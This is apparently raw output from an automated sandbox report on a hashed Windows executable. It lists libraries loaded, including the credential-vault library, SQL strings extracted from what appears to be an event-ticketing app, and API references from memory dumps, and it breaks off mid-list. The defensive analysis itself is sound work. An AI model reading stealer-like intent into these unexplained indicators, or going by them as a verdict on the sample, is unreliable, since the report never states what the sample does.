%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00006808) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00006808) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\crypt32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter C:\vaultcli.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter vaultcli.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrcompression.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007972)32:T1712,"Select * From Tbl_Duyurular" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_duyurular") "Select * From Tbl_Etkinlikler" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_etkinlikler") "update Tbl_Kullanicilar set KullaniciAd = @p1, KullaniciSoyad = @p2, KullaniciTelefon = @p3, KullaniciSifre = @p4, kullaniciCinsiyet = @p5 where KullaniciMail = @p6" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_kullanicilar set kullaniciad = @p1, kullanicisoyad = @p2, kullanicitelefon = @p3, kullanicisifre = @p4, kullanicicinsiyet = @p5 where kullanicimail = @p6") "Select * from Tbl_Alanlar" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_alanlar") "insert into Tbl_Alanlar (AlanAd) values (@a1)" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "insert into tbl_alanlar (alanad) values (@a1)"), "Delete From Tbl_Alanlar where AlanID=@b1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "delete from tbl_alanlar where alanid=@b1"), "update Tbl_Alanlar set AlanAd=@x1 where AlanID=@x2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_alanlar set alanad=@x1 where alanid=@x2"), "Select * From Tbl_Moderatorler where ModeratorTC = @p1 and ModeratorSifre = @p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_moderatorler where moderatortc = @p1 and moderatorsifre = @p2"), "Select * From Tbl_Sirketler" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_sirketler"), "Select AlanAd from Tbl_Alanlar" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select alanad from tbl_alanlar"), "Update Tbl_Sirketler set SirketAd=@p1 SirketAlan=@p2 SirketSifre=@p3 SirketMail=@p5 where SirketID=@p4" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_sirketler set sirketad=@p1 sirketalan=@p2 sirketsifre=@p3 sirketmail=@p5 where sirketid=@p4"), "Select * From Tbl_Sirketler where SirketID=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_sirketler where sirketid=@p1"), "Select SirketAd SirketBakiye SirketID From Tbl_Sirketler where SirketMail=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select sirketad sirketbakiye sirketid from tbl_sirketler where sirketmail=@p1"), "Select * From Tbl_Etkinlikler where EtkinlikSirket='" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_etkinlikler where etkinliksirket='"), "Update Tbl_Etkinlikler set EtkinlikAd=@e2 EtkinlikAlan=@e3 EtkinlikTarih=@e4 EtkinlikSaat=@e5 EtkinlikSehir=@e6 EtkinlikUcret=@e7 EtkinlikKapasite=@e8 EtkinlikSatisSayisi=@e9 EtkinlikResim=@e10 where EtkinlikID=@e1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_etkinlikler set etkinlikad=@e2 etkinlikalan=@e3 etkinliktarih=@e4 etkinliksaat=@e5 etkinliksehir=@e6 etkinlikucret=@e7 etkinlikkapasite=@e8 etkinliksatissayisi=@e9 etkinlikresim=@e10 where etkinlikid=@e1"), "Select distinct (EtkinlikSehir) From Tbl_Etkinlikler where EtkinlikSirket=@parameter and EtkinlikDurum=0" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select distinct (etkinliksehir) from tbl_etkinlikler where etkinliksirket=@parameter and etkinlikdurum=0"), "Select * From Tbl_Etkinlikler where EtkinlikAlan ='" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_etkinlikler where etkinlikalan ='"), "Update Tbl_Etkinlikler set EtkinlikSatisSayisi=@p1 where EtkinlikID= @p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_etkinlikler set etkinliksatissayisi=@p1 where etkinlikid= @p2"), "Select KullaniciBakiye KullaniciID From Tbl_Kullanicilar where KullaniciMail=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select kullanicibakiye kullaniciid from tbl_kullanicilar where kullanicimail=@p1"), "Select SirketBakiye From Tbl_Sirketler where SirketAd=@y1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select sirketbakiye from tbl_sirketler where sirketad=@y1"), "Update Tbl_Sirketler set SirketBakiye=@l1 where SirketAd=@l2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "update tbl_sirketler set sirketbakiye=@l1 where sirketad=@l2"), "Select * From Tbl_Kullanicilar where KullaniciMail=@p1 and KullaniciSifre=@p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_kullanicilar where kullanicimail=@p1 and kullanicisifre=@p2"), "Select KullaniciBakiye KullaniciSifre From Tbl_Kullanicilar where KullaniciMail=@p1" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select kullanicibakiye kullanicisifre from tbl_kullanicilar where kullanicimail=@p1"), "Select * From Tbl_Sirketler where SirketMail=@p1 and SirketSifre=@p2" (Source: ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397, Indicator: "select * from tbl_sirketler where sirketmail=@p1 and sirketsifre=@p2"), "Select KullaniciAdSoyad EtkinlikAd BiletSayisi ToplamFiyat EtkinlikID From Tbl_Biletler where KullaniciID='" (Source: 600000a-FrmKullaniciBiletlerim~FrmKullaniciBiletlerim_Load, Indicator: "select kullaniciadsoyad,etkinlikad,biletsayisi,toplamfiyat, etkinlikid from tbl_biletler where kullaniciid='")33:T410a,Found reference to API (Indicator: "GetObject"; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found reference to API (Indicator: "MessageBox"; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found reference to API (Indicator: "InitializeConditionVariable"; File: "00000000-00003052.00000000.103005.00CC1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "00000000-00003052.00000000.103005.00CC1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "00000000-00003052.00000000.103005.00CC1000.00000020.mdmp") Found reference to API (Indicator: "AddDllDirectory"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00003052.00000000.103005.00660000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00003052.00000000.103005.00CC1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00003052.00000000.103005.00CC1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003052.00000000.103005.00CC1000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API (Indicator: 